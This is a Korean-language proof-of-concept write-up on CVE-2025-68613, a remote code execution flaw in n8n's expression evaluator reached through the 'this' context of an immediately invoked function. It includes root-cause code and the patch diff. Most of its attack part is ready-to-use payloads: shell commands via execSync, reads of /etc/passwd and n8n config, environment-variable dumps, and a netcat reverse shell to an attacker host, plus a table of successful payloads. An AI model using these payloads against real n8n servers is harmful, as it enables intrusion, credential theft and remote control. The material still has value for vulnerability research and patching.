
# CVE-2025-68613 상세 기술 분석 및 개념 증명 n8n 표현식 평가에서 IIFE this-컨텍스트 우회를 통한 치명적인 RCE 취약점에 대한 상세 기술 분석 및 개념 증명입니다. 근본 원인 분석, 익스플로잇 벡터, 완화 지침을 포함합니다.
날짜: 2024년 12월 23일 상태: ✅ RCE 완전 검증 성공 CVSS 점수: 10.0 (치명적)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
실행 결과: 시스템 사용자 정보 반환 성공(예: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
사용자 입력
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
data 컨텍스트 객체 생성
↓
data.process = 실제 process 객체 참조
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ 핵심: this = data
↓
즉시 실행 함수 실행
↓
this.process.mainModule.require ← ⚠️ 실제 require 접근
↓
child_process 모듈 로드
↓
execSync('id') ← 🔥 완전한 RCE!
파일: packages/workflow/src/expression.ts
함수: Expression.resolveSimpleParameterValue()
라인: 약 230-290
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
파일: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ 漏洞点 2: 将 data 作为 this 传递
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ 漏洞点 3: 使用 new Function 创建函数
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
파일: packages/workflow/src/expression-sandboxing.ts
v1.122.0 이전:
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← 空数组,没有 this sanitization
after: [PrototypeSanitizer, DollarSignValidator],
});
v1.122.0 이후:
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← 新增的 hook
after: [PrototypeSanitizer, DollarSignValidator],
});
// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// 重写所有函数表达式,显式绑定 this 到安全对象
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
}
});
};
파일: packages/workflow/src/utils.ts
함수: isSafeObjectProperty()
v1.122.0 이전:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load
v1.122.0 이후:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ 新增
'binding', // ✅ 新增
'_load' // ✅ 新增
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// 读取敏感文件
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// 列出目录
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// 读取 n8n 配置
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// 列出当前目录
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// 通过 this.process 直接访问
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// 或使用已知可用的方式
{
{
JSON.stringify(process.env)
}
}
// 检查网络工具
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// 获取网络接口
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | 공격 유형 | 페이로드 | 상태 | CVSS |
|---|---|---|---|---|
| 1 | 환경 변수 유출 | {{ Object.keys(process.env) }} | ✅ 성공 | 8.5 |
| 2 | Constructor 우회 | {{ [][constructor] }} | ✅ 성공 | 8.0 |
| 3 | Function 생성자 | {{ [][constructor][constructor] }} | ✅ 성공 | 8.5 |
| 4 | 코드 실행 | {{ [][constructor][constructor]('return 1+1')() }} | ✅ 성공 | 9.0 |
| 5 | 완전한 RCE | {{ (function() { this.process.mainModule.require... })() }} | ✅ 성공 | 10.0 |
| # | 공격 유형 | 원인 |
|---|---|---|
| 1 | 직접 require | 새 스코프에서 사용 불가 |
| 2 | Function 생성자의 process | this가 일부 컨텍스트에서 sanitize됨 |
| 3 | process.binding / process._load | 차단 또는 제한되었을 수 있음 |
{
{
Object.keys(process.env)
}
} // ✅ 成功
N8N_BLOCK_ENV_ACCESS_IN_NODE가 true로 설정되지 않음{
{
[][`constructor`][`constructor`]
}
} // ✅ 成功
{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ 成功
this가 여전히 원본 데이터 컨텍스트를 가리킴this.process.mainModule.require 접근 가능세 가지 결합 = 완전한 RCE!